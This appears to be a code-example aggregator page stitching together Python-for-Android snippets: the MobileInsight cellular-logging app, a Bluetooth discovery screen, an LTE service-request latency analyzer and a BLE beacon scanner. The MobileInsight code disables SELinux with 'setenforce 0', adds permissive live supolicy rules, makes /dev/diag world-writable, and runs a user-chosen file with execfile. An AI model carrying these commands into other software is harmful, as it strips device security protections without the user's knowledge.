        self.ids.selectButton.text = "Select Plugin"
        if not self.service:
            self.ids.run_plugin.text  = "Run Plugin: "+self.selectedPlugin
        self.popup.dismiss()

    def log_info(self, msg):
        self.append_log("[b][color=00ff00][INFO][/color][/b]: " + msg)

    def log_warning(self, msg):
        self.append_log("[b][color=00ffff][WARNING][/color][/b]: " + msg)

    def log_error(self, msg):
        self.append_log("[b][color=ff0000][ERROR][/color][/b]: " + msg)

    def append_log(self, s):
        self.error_log += "\n"
        self.error_log += s

    # def append_log(self,s):
    #     self.error_log += "\n"
    #     self.error_log += s
    #     if self.line_count > self.MAX_LINE:
    #         idx = self.error_log.find('\n')
    #         self.error_log = self.error_log[idx+1:]
    #     else:
    #         self.line_count += 1

    def __check_security_policy(self):
        """
        Update SELinux policy.
        For Nexus 6/6P, the SELinux policy may forbids the log collection.
        """

        cmd = "setenforce 0; "

        cmd = cmd + "supolicy --live \"allow init logd dir getattr\";"

        # # Depreciated supolicies. Still keep them for backup purpose
        cmd = cmd + "supolicy --live \"allow init init process execmem\";"
        cmd = cmd + \
            "supolicy --live \"allow atfwd diag_device chr_file {read write open ioctl}\";"
        cmd = cmd + "supolicy --live \"allow init properties_device file execute\";"
        cmd = cmd + \
            "supolicy --live \"allow system_server diag_device chr_file {read write}\";"

        # # Suspicious supolicies: MI works without them, but it seems that they SHOULD be enabled...

        # # mi2log permission denied (logcat | grep denied), but no impact on log collection/analysis
        cmd = cmd + \
            "supolicy --live \"allow untrusted_app app_data_file file {rename}\";"

        # # Suspicious: why still works after disabling this command? Won't FIFO fail?
        cmd = cmd + \
            "supolicy --live \"allow init app_data_file fifo_file {write open getattr}\";"
        cmd = cmd + \
            "supolicy --live \"allow init diag_device chr_file {getattr write ioctl}\"; "

        # Nexus 6 only
        cmd = cmd + \
            "supolicy --live \"allow untrusted_app diag_device chr_file {write open getattr}\";"
        cmd = cmd + \
            "supolicy --live \"allow system_server diag_device chr_file {read write}\";"
        cmd = cmd + \
            "supolicy --live \"allow netmgrd diag_device chr_file {read write}\";"
        cmd = cmd + \
            "supolicy --live \"allow rild diag_device chr_file {read write}\";"
        cmd = cmd + \
            "supolicy --live \"allow rild debuggerd app_data_file {read open getattr}\";"

        cmd = cmd + \
            "supolicy --live \"allow wcnss_service mnt_user_file dir {search}\";"

        cmd = cmd + \
            "supolicy --live \"allow wcnss_service fuse dir {read open search}\";"

        cmd = cmd + \
            "supolicy --live \"allow wcnss_service mnt_user_file lnk_file {read}\";"

        cmd = cmd + \
            "supolicy --live \"allow wcnss_service fuse file {read append getattr}\";"

        main_utils.run_shell_cmd(cmd)

    def __check_diag_mode(self):
        """
        Check if diagnostic mode is enabled.
        Note that this function is chipset-specific: Qualcomm and MTK have different detection approaches
"""
        chipset_type = main_utils.get_chipset_type()
        if chipset_type == main_utils.ChipsetType.QUALCOMM:
            diag_port = "/dev/diag"
            if not os.path.exists(diag_port):
                return False
            else:
                main_utils.run_shell_cmd("chmod 777 /dev/diag")
                return True
        elif chipset_type == main_utils.ChipsetType.MTK:
            cmd = "ps | grep emdlogger1"
            res = main_utils.run_shell_cmd(cmd)
            if not res:
                return False
            else:
                return True

    def __init_libs(self):
        """
        Initialize libs required by MobileInsight.
        It creates sym links to libs, and chmod of critical execs
        """

        libs_path = os.path.join(main_utils.get_files_dir(), "data")
        cmd = ""

        libs_mapping = {
            "libwireshark.so": [
                "libwireshark.so.6", "libwireshark.so.6.0.1"], "libwiretap.so": [
                "libwiretap.so.5", "libwiretap.so.5.0.1"], "libwsutil.so": [
                "libwsutil.so.6", "libwsutil.so.6.0.0"]}
        for lib in libs_mapping:
            for sym_lib in libs_mapping[lib]:
                # if not os.path.isfile(os.path.join(libs_path,sym_lib)):
                if True:
                    # TODO: chown to restore ownership for the symlinks
                    cmd = cmd + " ln -s " + \
                        os.path.join(libs_path, lib) + " " + os.path.join(libs_path, sym_lib) + "; "

        exes = ["diag_revealer",
                "diag_revealer_mtk",
                "android_pie_ws_dissector",
                "android_ws_dissector"]
        for exe in exes:
            cmd = cmd + " chmod 755 " + os.path.join(libs_path, exe) + "; "

        cmd = cmd + "chmod -R 755 " + libs_path
        main_utils.run_shell_cmd(cmd)

    # def __init_libs(self):
    #     """
    #     Initialize libs required by MobileInsight
    #     """

    #     libs_path = os.path.join(main_utils.get_files_dir(), "data")

    #     libs = ["libglib-2.0.so",
    #             "libgmodule-2.0.so",
    #             "libgobject-2.0.so",
    #             "libgthread-2.0.so",
    #             "libwireshark.so",
    #             "libwiretap.so",
    #             "libwsutil.so"]

    #     cmd = "mount -o remount,rw /system; "

    #     for lib in libs:
    #         # if not os.path.isfile(os.path.join("/system/lib",lib)):
    #         if True:
    #             cmd = cmd + " cp " + os.path.join(libs_path, lib) + " /system/lib/; "
    #             cmd = cmd + " chmod 755 " + os.path.join("/system/lib", lib) + "; "

    #     # sym links for some libs
    #     libs_mapping = {"libwireshark.so": ["libwireshark.so.6", "libwireshark.so.6.0.1"],
    #                   "libwiretap.so": ["libwiretap.so.5", "libwiretap.so.5.0.1"],
    #                   "libwsutil.so": ["libwsutil.so.6", "libwsutil.so.6.0.0"]}

    #     for lib in libs_mapping:
    #         for sym_lib in libs_mapping[lib]:
    #             # if not os.path.isfile("/system/lib/"+sym_lib):
    #             if True:
    #                cmd = cmd + " ln -s /system/lib/" + lib + " /system/lib/" + sym_lib + "; "
    #                cmd = cmd + " chmod 755 /system/lib/" + sym_lib + "; "

    #     # print cmd  # debug mode

    #     # bins
    #     exes = ["diag_revealer",
    #             "android_pie_ws_dissector",
    #             "android_ws_dissector"]
    #     for exe in exes:
    #         # if not os.path.isfile(os.path.join("/system/bin",exe)):
    #         if True:
    #             cmd = cmd + " cp " + os.path.join(libs_path, exe) + " /system/bin/; "
    #             # 0755, not 755. "0" means "+x" on Android phones
    #             cmd = cmd + " chmod 0755 " + os.path.join("/system/bin/", exe) + "; "

    #     if cmd:
    #         # at least one lib should be copied
    #         main_utils.run_shell_cmd(cmd)

    def show_log(self):

        while not os.path.exists(self.log_name):
            continue

        log_file = open(self.log_name, 'r')

        # line_count = 0

        while True:
            if self.terminal_stop.is_set():
                continue
            try:
                time.sleep(1)
                where = log_file.tell()
                lines = log_file.readlines()
                if not lines:
                    log_file.seek(where)
                else:    
                    self.logs += lines
                    self.error_log = ''.join(self.logs)
            except Exception as e:
                import traceback
                print str(traceback.format_exc())
                continue

    def run_script_callback(self):
        no_error = True

        if no_error:
            try:
                filename = self.ids["filename"].text
                self.append_log("")
                self.append_log("execfile: %s" % filename)
                namespace = {"app_log": ""}
                execfile(filename, namespace)
                # Load the "app_log" variable from namespace and print it out
                self.append_log(namespace["app_log"])
            except BaseException:
                print str(traceback.format_exc())
                self.append_log(str(traceback.format_exc()))
                no_error = False

    def stop_collection(self):
        res = main_utils.run_shell_cmd("ps").split('\n')
        for item in res:
            if item.find('diag_revealer') != -1:
                pid = item.split()[1]
                cmd = "kill "+pid
                main_utils.run_shell_cmd(cmd)

    """
    def stop_collection(self):
        self.collecting = False

        # Find diag_revealer process
        # FIXME: No longer work for 7.0: os.listdir() only returns current
        # processstop_collection
        diag_procs = []
        pids = [pid for pid in os.listdir("/proc") if pid.isdigit()]
        print "stop_collection", str(pids)
        for pid in pids:
            try:
                cmdline = open(
                    os.path.join(
                        "/proc",
                        pid,
                        "cmdline"),
                    "rb").read()
                # if cmdline.startswith("diag_mdlog") or
                # cmdline.startswith("diag_revealer"):
                if cmdline.find("diag_revealer") != - \
                        1 or cmdline.find("diag_mdlog") != -1:
                    diag_procs.append(int(pid))
            except IOError:     # proc has been terminated
                continue
        if len(diag_procs) > 0:
            cmd2 = "kill " + " ".join([str(pid) for pid in diag_procs])
            main_utils.run_shell_cmd(cmd2)
    """

    def popUpMenu(self):
        self.popup.open()

    def start_service(self, app_name):
        if platform == "android" and app_name in self.plugins_list:
            # Clean up old logs
            self.log_name = os.path.join(
                main_utils.get_mobileinsight_analysis_path(),
                app_name + "_log.txt")
            if os.path.exists(self.log_name):
                os.remove(self.log_name)

            self.terminal_stop = threading.Event()
            self.terminal_thread = threading.Thread(target=self.show_log)
            self.terminal_thread.start()

            self.error_log = "Running " + app_name + "..."
            self.service = AndroidService(
                "MobileInsight is running...", app_name)

            # stop the running service
            self.service.stop()

            self.service.start(
                app_name + ":" + self.plugins_list[app_name][0])   # app name
            self.default_app_name = app_name

            # TODO: support collecting TCPDUMP trace
            # currentTime = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
            # tcpdumpcmd = "su -c tcpdump -i rmnet_data0 -w " \
            #         + main_utils.get_mobileinsight_log_path() \
            #         + "/tcpdump_" + str(currentTime) + ".pcap\n"
            # main_utils.run_shell_cmd(tcpdumpcmd)

        else:
            self.error_log = "Error: " + app_name + "cannot be launched!"

    def on_broadcastStopServiceAck(self, context, intent):
        self.log_info("Received MobileInsight.Plugin.StopServiceAck from plugin")
        self.pluginAck = True

    def stop_service(self):
        # Registe listener for 'MobileInsight.Plugin.StopServiceAck' intent
        # from plugin
        self.log_info("Ready to stop current plugin ...")
        self.pluginAck = False

        # Using broadcast to send 'MobileInsight.Main.StopService' intent to
        # plugin
        IntentClass = autoclass("android.content.Intent")
        intent = IntentClass()
        action = 'MobileInsight.Main.StopService'
        intent.setAction(action)
        try:
            current_activity.sendBroadcast(intent)
        except Exception as e:
            import traceback
            self.log_error(str(traceback.format_exc()))

        if self.service:
            start_time = datetime.datetime.utcnow()
            current_time = datetime.datetime.utcnow()
            while (not self.pluginAck and (current_time - start_time).total_seconds() < 5):
                current_time = datetime.datetime.utcnow()
                pass
            self.service.stop()
            self.service = None
            if self.terminal_stop:
                self.terminal_stop.set()
            # self.error_log = LOGO_STRING
            self.log_info(
                "Plugin stopped. Detailed analytic results are saved in " +
                self.log_name)

            self.stop_collection()  # close ongoing collections (diag_revealer)

            # killall tcpdump
            # tcpdumpcmd = "su -c killall tcpdump\n"
            # main_utils.run_shell_cmd(tcpdumpcmd)

    def on_click_plugin(self, app_name):
        if self.service:
            self.stop_service()
            self.ids.run_plugin.text = "Run Plugin: "+app_name
        else:
            self.start_service(app_name)
            self.ids.run_plugin.text = "Stop Plugin: "+app_name

    def _save_log(self):
        orig_basename = os.path.basename(self.__original_filename)
        orig_dirname = os.path.dirname(self.__original_filename)
        self.__log_timestamp = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
        milog_basename = "diag_log_%s_%s_%s.mi2log" % (
            self.__log_timestamp, self.__phone_info, main_utils.get_operator_info())
        milog_absname = os.path.join(self.__logdir, milog_basename)
        main_utils.run_shell_cmd("cp %s %s" %
                                   (self.__original_filename, milog_absname))
        # shutil.copyfile(self.__original_filename, milog_absname)
        # chmodcmd = "rm -f " + self.__original_filename
        # p = subprocess.Popen("su ", executable = main_utils.ANDROID_SHELL, shell = True, \
        #                             stdin = subprocess.PIPE, stdout = subprocess.PIPE)
        # p.communicate(chmodcmd + '\n')
        # p.wait()
        os.remove(self.__original_filename)

    def about(self):
        about_text = ('MobileInsight ' + main_utils.get_cur_version() + ' \n'
                      + 'MobileInsight Team\n\n'
                      + 'Developers:\n'
                      + '    Yuanjie Li,\n'
                      + '    Zengwen Yuan,\n'
                      + '    Jiayao Li,\n'
                      + '    Haotian Deng,\n'
                      + '    Qianru Li,\n'
                      + '    Zhehui Zhang\n\n'
                      + 'Copyright (c) 2014 – 2017')
        popup = Popup(title='About MobileInsight',
                      size_hint=(1,1),
                      background = "gradient.png"
                     )
        popup_button = Button(text = about_text, background_color = [0,0,0,0], on_press = popup.dismiss)
        popup.content = popup_button
        popup.open()
Esempio n. 18
0
class LoginScreen(FloatLayout):
        def __init__(self):
                super(LoginScreen, self).__init__()
##                BluetoothAdapter = autoclass('android.bluetooth.BluetoothAdapter')
##                myBluetoothAdapter = BluetoothAdapter.startDiscovery()
##                BluetoothName = myBluetoothAdapter.getBondedDevices().toArray()
##                firstDevice = BluetoothName[0].getName()
##                BroadcastReceiver = autoclass('android.content.BroadcastReveiver')
##                Intent = autoclass('android.content.Intent')
##                Activity = autoclass('android.content.Activity')

                self.BluetoothAdapter = autoclass('android.bluetooth.BluetoothAdapter')
                self.BluetoothDevice = autoclass('android.bluetooth.BluetoothDevice')
                self.BluetoothSocket = autoclass('android.bluetooth.BluetoothSocket')
                self.UUID = autoclass('java.util.UUID')
                self.Bundle = autoclass('android.os.Bundle')
                self.Intent = autoclass('android.content.Intent')
                self.IntentFilter = autoclass('android.content.IntentFilter')
                self.Context = autoclass('android.content.Context')
                self.Toast = autoclass('android.widget.Toast')
                self.PythonActivity = autoclass('org.renpy.android.PythonActivity')

                self.printLabel = self.ids['label1']
                self.printLabel.text = "hello"
                
##                self.action = self.Intent.getAction()
##
##                if (BluetoothDevice.ACTION_FOUND.equals(self.action)
##                    self.device = self.intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
##                    name = self.device.getName();
##                    Toast.makeText(getApplicationContext()," Name:" + name, Toast.LENGTH_SHORT).show()
##
##
##
##                intent = BluetoothAdapter.ACTION_REQUEST_ENABLE
##
##                Activity.startActivityForResult(intent, 0);
##                

##                self.br.start()
##                
##                print BluetoothName
##                self.ids['hello'].text = firstDevice
##
##                self.br = self.BroadcastReceiver(self.onReceive(), self.Intent)
##                self.aDiscoverable = BluetoothAdapter.ACTION_REQUEST_DISCOVERABLE
##                Activity.startActivityForResult(Intent(aDiscoverable), BluetoothAdapter.DISCOVERY_REQUEST)
##                
##                self.Filter = Context.IntentFilter(BluetoothDevice.ACTION_FOUND)
##                Context.RegisterReceiver(self.br, self.Filter)
##
##
##                if (self.BluetoothDevice.ACTION_FOUND == self.action):
##                        self.myBluetoothDevice = intent.getParcelableExtra(self.BluetoothDevice.EXTRA_DEVICE)
##                        name = myBluetoothDevice.getName()
##                        Toast.makeText(getApplicationContext()," Name:" + name, Toast.LENGTH_SHORT).show()

                self.myBTA = self.BluetoothAdapter.getDefaultAdapter()
                
                if self.myBTA is None:
                        popup = Popup(title='Sorry :(', content=Label(text='Didnt connect'), size_hint=(None, None), size=(400, 100))
                        popup.open()

                if(self.myBTA.isEnabled() == False):
                        intent = self.Intent()
                        intent.setAction(self.BluetoothAdapter.ACTION_REQUEST_ENABLE)
                        myActivity = cast('android.app.Activity', self.PythonActivity.mActivity)
                        myActivity.startActivity(intent)
                        
        def turnOnDiscovery (self):
                if(self.myBTA.isEnabled() == True):
                        if(self.myBTA.isDiscovering() == False):
                                intent = self.Intent()
                                intent.setAction(self.BluetoothAdapter.ACTION_REQUEST_DISCOVERABLE)
                                myActivity = cast('android.app.Activity', self.PythonActivity.mActivity)
                                myActivity.startActivity(intent)
                        else:
                                popup = Popup(title='Bluetooth Info', content=Label(text='Bluetooth is Already Enabled'), size_hint=(None, None), size=(400, 100))
                                popup.open()   

        def findDevices (self):
                self.br = BroadcastReceiver(content = self.onReceive, actions=['main'], myFilter = self.BluetoothDevice.ACTION_FOUND)
                self.br.start()

                self.myBTA.startDiscovery()
 
        def onReceive(self, context, intent):
                action = intent.getAction();
                if (self.BluetoothDevice.ACTION_FOUND == action):
                        extras = intent.getParcelableExtra(self.BluetoothDevice.EXTRA_DEVICE)
                        device = cast('android.bluetooth.BluetoothDevice', extras)
                        deviceName = device.getName()
                        print deviceName
                        self.printLabel.text = deviceName
Esempio n. 19
0
class ServiceRequestAnalyzer(Analyzer):
    """
    An analyzer for cellular events logging and decoding
    """
    def __init__(self, config):
        Analyzer.__init__(self)

        self.__log_dir = util.get_mobileinsight_log_path()
        self.__dec_log_dir = util.get_mobileinsight_log_decoded_path()
        self.__orig_file = ""
        self.__raw_msg = {}
        self.__raw_msg_key = ""
        self.__msg_cnt = 0
        self.__dec_msg = []
        self.__is_wifi_enabled = False
        self.state = states[0]
        self.sr_round = 0
        self.round = 0
        self.sr_record = []
        self.record = {
            'round': 0,
            'total': 0,
            'msg': [],
        }
        self.__sr_log_path = "%s/sr/sr_latency_%s_%s_%s.txt" % \
            (util.get_mobileinsight_path(), datetime.now().strftime('%Y%m%d_%H%M%S'), util.get_phone_info(), util.get_operator_info())

        self.__MILabPluginName = 'SRLatency'
        self.__own_log_uploaded_dir = os.path.join(
            util.get_mobileinsight_plugin_path(), self.__MILabPluginName,
            "log", "uploaded")
        if not os.path.exists(self.__own_log_uploaded_dir):
            os.makedirs(self.__own_log_uploaded_dir)

        self.__task = "Unknown"
        if 'task' in config:
            self.__task = config['task']

        self.__own_log_task_dir = os.path.join(
            util.get_mobileinsight_plugin_path(), self.__MILabPluginName,
            "log", self.__task)
        if not os.path.exists(self.__own_log_task_dir):
            os.makedirs(self.__own_log_task_dir)

        try:
            if config['is_use_wifi'] == '1':
                self.__is_use_wifi = True
            else:
                self.__is_use_wifi = False
        except BaseException:
            self.__is_use_wifi = False
        # try:
        #     if config['is_dec_log'] == '1':
        #         self.__is_dec_log = True
        #         self.__dec_log_name = "diag_log_" + \
        #             datetime.datetime.now().strftime('%Y%m%d_%H%M%S') + ".txt"
        #         self.__dec_log_path = os.path.join(
        #             self.__dec_log_dir, self.__dec_log_name)
        #     else:
        #         self.__is_dec_log = False
        # except BaseException:
        #     self.__is_dec_log = False
        try:
            self.__dec_log_type = config['log_type']
        except BaseException:
            self.__dec_log_type = ""

        if not os.path.exists(self.__log_dir):
            os.makedirs(self.__log_dir)
        if not os.path.exists(self.__dec_log_dir):
            os.makedirs(self.__dec_log_dir)

        self.add_source_callback(self._logger_filter)

        # Add this code at the end of onCreate()
        self.br = BroadcastReceiver(self.on_broadcast,
                                    actions=['MobileInsight.Main.StopService'])
        self.br.start()

    def on_broadcast(self, context, intent):
        '''
        This plugin is going to be stopped, finish closure work
        '''
        print "LoggingAnalyzer are going to be stopped"
        # self._check_orphan_log()
        IntentClass = autoclass("android.content.Intent")
        intent = IntentClass()
        action = 'MobileInsight.Plugin.StopServiceAck'
        intent.setAction(action)
        try:
            util.pyService.sendBroadcast(intent)
        except Exception as e:
            import traceback
            self.log_error(str(traceback.format_exc()))

    def __del__(self):
        self.log_info("__del__ is called")

    def trigger(self, msg_trigger):
        for tr in transitions:
            if msg_trigger == tr['trigger'] and self.state == tr['source']:
                # self.log_warning("[local time = %s] Source state = %s" % (datetime.now(), tr['source']))
                ts = time.time()
                self.log_warning(
                    "[epoch = %s][local = %s] Source state = %s" %
                    (ts,
                     datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S'),
                     tr['source']))
                self.state = tr['dest']
                if tr == transitions[-1]:
                    self.sr_round += 1
                return True
        return False

    def _logger_filter(self, msg):
        """
        Callback to process new generated logs.

        :param msg: the message from trace collector.
        :type msg: Event
        """

        if msg.type_id == "LTE_NAS_EMM_OTA_Outgoing_Packet":
            log_item = msg.data.decode()

            if msgs[0] in log_item['Msg'].lower():
                # self.log_warning("Service request")
                if self.trigger(msgs[0]):
                    self.round += 1
                    self.start_ts = log_item['timestamp']
                    self.log_warning("Now state == %s" % self.state)
                    self.record['round'] = self.sr_round
                    self.record['msg'].append(
                        "[%s; %s]" % (log_item['timestamp'], self.state))

        if msg.type_id == "LTE_RRC_OTA_Packet":
            log_item = msg.data.decode()

            for i in range(1, 8):
                if msgs[i] in log_item['Msg'].lower():
                    if self.trigger(msgs[i]):
                        # convert the rrc message timestamp to epoch
                        epoch = time.mktime(
                            time.strptime(
                                log_item['timestamp'].strftime(
                                    "%Y-%m-%d %H:%M:%S"), "%Y-%m-%d %H:%M:%S"))
                        # ts.strftime('%Y%m%d_%H%M%S')
                        # time.strptime("2008-09-17 14:04:00", "%Y-%m-%d %H:%M:%S")
                        # self.log_warning("%s" % epoch)
                        # epoch = (datetime.datetime.utcfromtimestamp(ts) - datetime.datetime(1970,1,1)).total_seconds()
                        self.log_warning(
                            "[epoch = %s][log_utc = %s] Incoming RRC msg[%d] = %s"
                            % (epoch, str(log_item['timestamp']), i, msgs[i]))
                        # self.log_warning("Now state == %s" % self.state)
                        # self.record['round'] = self.sr_round
                        self.record['msg'].append(
                            "[%s; %s]" % (log_item['timestamp'], self.state))

                        if msgs[i] == msgs[-1]:
                            new_ts = (log_item['timestamp'] -
                                      self.start_ts).microseconds / 1000
                            self.log_warning(
                                "Total SR time for round %d = %s ms" %
                                (self.sr_round, new_ts))
                            self.record['msg'].append(
                                "[%s; %s; %s]" %
                                (epoch, log_item['timestamp'], self.state))
                            self.record['total'] = "%d" % new_ts

                            try:
                                with open(self.__sr_log_path, 'a') as f:
                                    f.writelines(str(self.record))
                                    f.writelines('\n')
                            except BaseException:
                                pass
                            self.sr_record.append(self.record)

                            # self.log_warning("%s" % (self.record))
                            # self.log_warning("%s" % (self.sr_record))
                            self.record = {'round': "", 'msg': [], 'total': ""}

        # when a new log comes, save it to external storage and upload
        if msg.type_id.find("new_diag_log") != -1:
            self.__log_timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            self.__orig_file = msg.data.decode().get("filename")

            # FIXME (Zengwen): the change access command is a walkaround
            # solution
            util.run_shell_cmd("chmod 644 %s" % self.__orig_file)

            self._save_log()
            self.__is_wifi_enabled = util.get_wifi_status()

            if self.__is_use_wifi is True and self.__is_wifi_enabled is True:
                try:
                    for f in os.listdir(self.__log_dir):
                        if f.endswith(".mi2log"):
                            orphan_file = os.path.join(self.__log_dir, f)
                            t = threading.Thread(target=upload_log,
                                                 args=(orphan_file, ))
                            t.start()
                except Exception as e:
                    pass
            else:
                # use cellular data to upload. Skip for now.
                pass

    def _save_log(self):
        orig_base_name = os.path.basename(self.__orig_file)
        orig_dir_name = os.path.dirname(self.__orig_file)
        milog_base_name = "diag_log_%s_%s_%s.mi2log" % (
            self.__log_timestamp, util.get_phone_info(),
            util.get_operator_info())
        # milog_abs_name = os.path.join(self.__log_dir, milog_base_name)
        milog_abs_name = os.path.join(self.__own_log_task_dir, milog_base_name)
        if os.path.isfile(self.__orig_file):
            shutil.copyfile(self.__orig_file, milog_abs_name)
            os.remove(self.__orig_file)

        return milog_abs_name
Esempio n. 20
0
class AndroidBLEScanReader(object):
    def __init__(self):
        super(AndroidBLEScanReader, self).__init__()
        self.decoder = decoder.BluetoothDecoder()
        self._message = ''
        self._last_notification_time = datetime.now()

        self.previous_scan_results = ""
        self.previous_unique_message_id = 0
        self.allow_notification = True

        # One-time BT initialization
        self.btManager = service.getSystemService(Context.BLUETOOTH_SERVICE)
        self.btAdapter = self.btManager.getAdapter()

        self.setup_bluetooth()

    def setup_bluetooth(self):

        if SDK_INT < 21:
            self.mybtLeScan = LeScanCallback(self.process_ble_packets)
        else:
            self.myLEScanner = self.btAdapter.getBluetoothLeScanner()
            self.scanCallbackImpl = ScanCallbackImpl()
            self.scanCallbackImpl.setCallback(
                AppixScanCallback(self.process_ble_packets))

            #
            # Scan Settings
            #
            # Trying different combinations of scan settings and filters to determine which works best in live
            # environment.
            #

            # Default setting
            settingsBuilder0 = ScanSettingsBuilder()

            # Kitchen Sink
            settingsBuilder1 = ScanSettingsBuilder()
            settingsBuilder1.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY)
            settingsBuilder1.setCallbackType(
                ScanSettings.CALLBACK_TYPE_ALL_MATCHES)
            if SDK_INT > 22:
                settingsBuilder1.setMatchMode(
                    ScanSettings.MATCH_MODE_AGGRESSIVE)
                settingsBuilder1.setNumOfMatches(
                    ScanSettings.MATCH_NUM_MAX_ADVERTISEMENT)
            settingsBuilder1.setReportDelay(0)

            # Match Mode Aggressive Only
            settingsBuilder2 = ScanSettingsBuilder()
            if SDK_INT > 22:
                settingsBuilder2.setMatchMode(
                    ScanSettings.MATCH_MODE_AGGRESSIVE)

            # Scan Mode Low Latency Only
            settingsBuilder3 = ScanSettingsBuilder()
            settingsBuilder3.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY)

            # Callback Type All Matches
            settingsBuilder4 = ScanSettingsBuilder()
            settingsBuilder4.setCallbackType(
                ScanSettings.CALLBACK_TYPE_ALL_MATCHES)

            # Scan Mode Low Latency + Callback All matches
            settingsBuilder5 = ScanSettingsBuilder()
            settingsBuilder5.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY)
            settingsBuilder5.setCallbackType(
                ScanSettings.CALLBACK_TYPE_ALL_MATCHES)

            # Low Latency + Match Mode Aggressive
            settingsBuilder6 = ScanSettingsBuilder()
            settingsBuilder6.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY)
            settingsBuilder6.setCallbackType(
                ScanSettings.CALLBACK_TYPE_ALL_MATCHES)
            if SDK_INT > 22:
                settingsBuilder6.setMatchMode(
                    ScanSettings.MATCH_MODE_AGGRESSIVE)

            # Command/uncomment for now to apply different settings here:
            # scanSettings = settingsBuilder0.build()
            # scanSettings = settingsBuilder1.build()
            # scanSettings = settingsBuilder2.build()
            scanSettings = settingsBuilder3.build()
            # scanSettings = settingsBuilder4.build()
            # scanSettings = settingsBuilder5.build()
            # scanSettings = settingsBuilder6.build()

            self.scanSettings = scanSettings

            #
            # Scan Filter
            #
            filters = ScanFilterList()
            serviceUuidFilter = ScanFilterBuilder().setServiceData(
                UID_SERVICE, NAMESPACE_FILTER, NAMESPACE_FILTER_MASK).build()
            filters.addFilter(serviceUuidFilter)

            self.filters = filters

            # Note: Not currently making use of filtering

            # filterBuilder.setDeviceAddress("01:02:03:04:05:06")

            # filterBuilder.setDeviceName("")

            # filterBuilder.setManufacturerData(11, bytearray([0x01, 0x02,]))
            # filterBuilder.setManufacturerData(11, bytearray([0x01, 0x02,], bytearray([0x01, 0x02,])))

            # filterBuilder.setServiceData(ParcelUuid serviceDataUuid, byte[] serviceData)

            # filterBuilder.setServiceUuid(ParcelUuid serviceUuid, ParcelUuid uuidMask)
            # filterBuilder.setServiceUuid(ParcelUuid serviceUuid)

            debug(" ")
            debug(" ")
            debug("STARTING SCAN")

            # New method

            # Default scan settings
            # self.myLEScanner.startScan(self.scanCallbackImpl)

    def initiate_bluetooth(self, *args):
        print "SDK_INT is", SDK_INT

        try:
            if SDK_INT < 21:
                # Old method
                self.btAdapter.startLeScan(self.mybtLeScan)
                debug("startLeScan")
            else:
                # New method
                self.myLEScanner.startScan(self.filters.getFilters(),
                                           self.scanSettings,
                                           self.scanCallbackImpl)
                debug("\n\n> SCAN STARTED")
        except Exception as err:
            debug(err)
            pass
        finally:
            pass

    def scan_standby(self, pause_time):
        # stop scan here, set bluetooth_standby_time here
        # this bluetooth_standby_time would be decreased in the
        # _listen method while loop, on timeout bluetooth would be enabled back again.
        self.appixservice.comm_service.bluetooth_standby_time = pause_time
        if SDK_INT < 21:
            self.btAdapter.stopLeScan(self.mybtLeScan)
            debug("StopLeScan")
        else:
            self.myLEScanner.stopScan(self.scanCallbackImpl)
            debug("StopScan")
        debug("PAUSING SCAN FOR %s" % pause_time)

    def refresh_bluetooth(self):
        # debug("REFRESHING BLUETOOTH")
        if SDK_INT < 21:
            # time1 = time.time()
            self.btAdapter.stopLeScan(self.mybtLeScan)
            # time2 = time.time()
            # self.btAdapter.startLeScan(self.mybtLeScan)
            # time3 = time.time()
            # debug("TIME TO STOP:  ", (time2-time1)*1000.)
            # debug("TIME TO START: ", (time3-time2)*1000.)
            # debug("StopLeScan")
        else:
            self.myLEScanner.stopScan(self.scanCallbackImpl)
            debug("StopScan")

        time.sleep(.2)

        self.initiate_bluetooth()
        debug("REFRESHED BLUETOOTH")

    def restart_bluetooth(self):
        debug("RESTARTING BLUETOOTH")
        if SDK_INT < 21:
            debug("STOPPING LE SCAN")
            self.btAdapter.stopLeScan(self.mybtLeScan)
            debug("STOPPED LE SCAN")
        else:
            debug("STOPPING SCAN")
            self.myLEScanner.stopScan(self.scanCallbackImpl)
            debug("STOPPED SCAN")
        time.sleep(.2)
        self.initiate_bluetooth()
        debug("INITIATED BLUETOOTH")

    # def restart_service(self):
    #     debug("RESTARTING SERVICE")
    #     self.stop()
    #     time.sleep(.1)
    #     self.start_service()

    # def start_service(self):
    #     debug("ABOUT TO START")
    #     global service
    #     service = AndroidService('Appix service', 'running')
    #     debug("ANDROID SERVICE INSTANTIATED")
    #     service.start('service started')
    #     debug("SERVICE STARTED")
    #     time.sleep(.1)
    #     self.initiate_bluetooth()

    def stop(self):
        self.close_all_notifications()
        if SDK_INT < 21:
            self.btAdapter.stopLeScan(self.mybtLeScan)
            debug("StopLeScan")
        else:
            self.myLEScanner.stopScan(self.scanCallbackImpl)
            debug("StopScan")

    def process_ble_packets(self, device, rssi, scan_record, *args):
        # time1 = time.time()

        # debug("Raw Scan Bytes -->",)
        # debug(''.join('{:02x} '.format(x) for x in scan_record[:32]))
        '''
        Raw Scan Bytes:
        02 01 06 03 03 aa fe 17 16 aa fe 00 14 ba 11 50 ff ff ff ff ff ff ff ff ff ff 11 22 33 00 00 ...
        '''
        if scan_appix_beacon_key == list(
            [scan_record[13], scan_record[14], scan_record[15]]):

            # Decode Eddystone UID data (without reserved bytes)
            uuid = ''.join('{:02x}'.format(x) for x in scan_record[13:29])

            # Grab the data portion (UUID + remainder)
            beacon_data = ''.join('{:02x} '.format(x)
                                  for x in scan_record[13:])

            debug(" ")
            debug(">> Signal Validated!!! <<")
            # debug("Full Hex Beacon Signal -->", ''.join('{:02x} '.format(x) for x in scan_record))
            debug("Beacon Data -->", beacon_data)
            debug("RSSI -->", rssi)
            debug("UUID -->", uuid)
            debug(" ")

            if ADMIN_APP:
                data = {"data": beacon_data, "rssi": rssi}
                self.appixservice.comm_service.send_message(str(data))

            if uuid != self.previous_scan_results:
                self.dispatch_bluetooth_commands(uuid)
                self.appixservice.comm_service.time_since_app_paused = 0
                self.previous_scan_results = uuid

    # TODO: LAST FUNCTION CALL IN SERVICE,
    def dispatch_bluetooth_commands(self, data_results):

        decoded_data = self.decoder.decode_beacon_data(data_results)

        if decoded_data['message_type'] == 0:
